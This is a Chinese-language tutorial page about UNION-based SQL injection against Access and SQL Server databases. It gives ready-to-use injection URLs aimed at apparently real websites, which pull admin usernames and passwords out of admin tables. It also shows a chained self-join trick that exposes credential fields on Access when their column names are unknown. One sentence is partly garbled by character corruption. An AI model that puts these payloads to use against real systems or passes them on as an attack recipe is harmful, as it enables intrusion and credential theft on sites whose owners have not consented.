程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> MYSQL數據庫 >> MySQL綜合教程 >> 怎麼快速獲取access、SQL Server數據

怎麼快速獲取access、SQL Server數據

編輯:MySQL綜合教程

   1.使用access數據庫的系統存在SQL注入漏洞;mssql數據庫也支持這個技術

  2.需要知道欲爆數據所在的表的表名以及這個表下的一個字段名,一般都是id字段

  使用本技術顯而易見的優勢在於:

  1.可以不需要引號,過濾引號對本技術沒有影響

  2.可以快速的知道敏感數據的內容,而不必像以往一樣慢慢的猜解,中文、特殊字符等等都通殺

  3.在SQL Server屏蔽了錯誤信息之後仍然可以快速得到敏感數據內容

  4.可以在不知道關鍵(欲知數據的)字段名的情況下仍然能夠獲取到欲知數據

  咋一看可能這個技術很難,其實很簡單。一共有兩個難點,一般的第一個難點在看到結果以後都很容易想到,但是第二個難點卻的確有點點麻煩。

  首先看一個表格,是union的語法。這也是爆出數據的主要原理。如下圖所示:

  當我們使用SQL Inject技術插入union語句以後,只要兩個select查詢得到的列數相同,那麼整條SQL語句執行完成以後,得到的查詢結果就變成了union後面select得到的數據。所以就有可能將我們所需要的數據爆出來。來看一個簡單的例子:

  http://www.chinakj.com/SoftView.asp?SoftID=3903%20union%20select%20username,password,1,1,1%20from%20admin

  這是一個SQL Server的服務器,關閉了錯誤信息的回報,所以不能夠按照以往的方法直接得到敏感數據。通過SQL Inject插入union語句以後,可以大膽的猜測到所執行的SQL語句變成了:

  select * from Soft where SoftID=3903 union select username,password,1,1,1 from admin

  那麼在正常情況下顯示Soft第1、2個字段值得地方就會顯示admin的username和password字段,後面的3個1也是同理替代了。按照這個特性,我們當然也可以直接得到Admin_UserInfo表裡面的username和password字段。構造的語句如下所示:

  http://www.chinakj.com/SoftView.asp?SoftID=3903%20union%20select%20username,password,1,1,1%20from%20Admin_UserInfo%20where%20username<>

  以上就是簡單的利用union來實現對敏感數據的獲取,而不通過復雜的暴力拆解。為了實現在不知道字段名同樣能夠得到其中的數據這個目的的時候,我們當然就應該想到使用*來代替字段名。這樣只要*所代表的字段再加上幾個1的數目和腳本中的select查詢表中的字段數目相同,那麼就同樣可以得到不知道字段名的數據了。

  考慮到這樣一種情況,有這樣一條語句:select id,hit,softname,softURL from soft where id=10。其中能夠在網頁中正常顯示出來的字段是softname和softURL,那麼我們在使用union的時候就應該調整*所在的位置,一般admin表中結構為id username password,那麼在注入上面這條假設的語句的時候就應該這樣構造SQL語句:select 1,* from admin。使*所代替的username和pssword字段處於softname和softURL兩個字段的位置上,這樣網頁才能夠將我們想要得username和password字段乖乖的交出來。當然這裡只是最簡單的一個例子來說明,有很多時候一個表裡面可能有十幾個字段,我遇到最長的是四十三個字段。那麼腳本中使用select *來做查詢的話,我們在構造union select就應該用1湊數到四十三個字段。其中當然是會有一些字段不被網頁顯示出來,這就需要考慮union select後面的*號所在的位置了。相信這個應該不用我多說了。

  上面說的語法完全符合SQL Server。但是Access和SQL Server相比較,真的是小巫見大巫了。在SQL Server裡面,當我們使用select *,1,1,1 from admin語句查詢得到的記錄集合分別是:* 1 1 1。但是在access當中上面的這條語句查詢的結果是1 1 1 *,也就是說無論你將*號處於這群1中間的什麼位置上,*所代表的?葑苁譴τ诓檠?峁?淖詈竺妗S靡桓龈叢擁愕睦?幼魉得鳎?BR>http://www.hnp2p.com/mov/view.asp?id=1916%20union%20(select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16%20from%20admin)

  這個站點使用的是access數據庫,可以看到能夠正常顯示出來的字段是2、3、7、8、10、11,而後面的字段卻不會顯示出來,去掉14,15,16換上*號,頁面同樣顯示出數字,也就是說admin中的字段數是三個,肯定是id username password這種結構,但是除了id字段其他的字段都不能夠被猜測出名字。按照在上面SQL Server中所使用的方法移動*號的位置以求能夠將敏感數據爆出來,在access中是不可行的。原因是access始終將*好所代替的字段放在查詢數據集的最後面。Access查詢出來的結果永遠都是:1,2,3,4,5,6,7,8,9,10,11,12,13,*這個樣子。為了將*好所代替的字段表示出來,我們必須將*所代替的字段移動到其他位置上。先看結果:

  http://www.hnp2p.com/mov/view.asp?id=1916%20union%20select%201,*%20from%20(((admin%20as%20a%20inner%20join%20admin%20as%20b

%20on%20a.id=b.

id)%20inner%20join%20admin%20as%20c%20on%20c

.id=b.id)%20inner%20join%20admin%20as%20d%20on%20d.id=c.id)%20inner%20join%20admin%20as%20e%20o

n%20d.id=e.id

  通過這樣構造的語句的執行,最終查詢得到的數據形式是

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16

  1,a.id a.name a.pwd b.id b.name b.pwd c.id c.name c.pwd d.id d.name d.pwd e.id e.name e.pwd

  其中第3和第7個字段正好就是我們想要得username和password字段的值。這裡我使用的是join語法,將兩個表連接(相加)起來從而構造得到這樣的一個滿足我們要求的查詢結果。

  Join分為全部連接、左連接和右連接,具體區別可以去查看SQL語法。在這裡,access中我們不管選擇哪一種連接方式效果都等同於全部連接。看一個簡單的join語法

  SELECT *

  FROM (表1 INNER JOIN 表2 ON 表1.序號=表2.序號)

  INNER JOIN 表3

  ON 表1.序號=表3.序號

  轉換為實例就是:

  select 1,2,3,4,*

  from ((admin as a inner join admin as b on a.id=b.id)

  inner join admin as c on c.id=b.id)

  inner join admin as d on d.id=c.id

  按照這種格式就可以把上面的那個url真正執行的SQL語句解出來,無非就是不斷的使用join連接數據表admin,然後通過1來補齊前面的字段數目。只要語句構建得當,那麼不知道字段名的數據全部都能夠在頁面中顯示出來。這就是這個技術的難點所在了。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved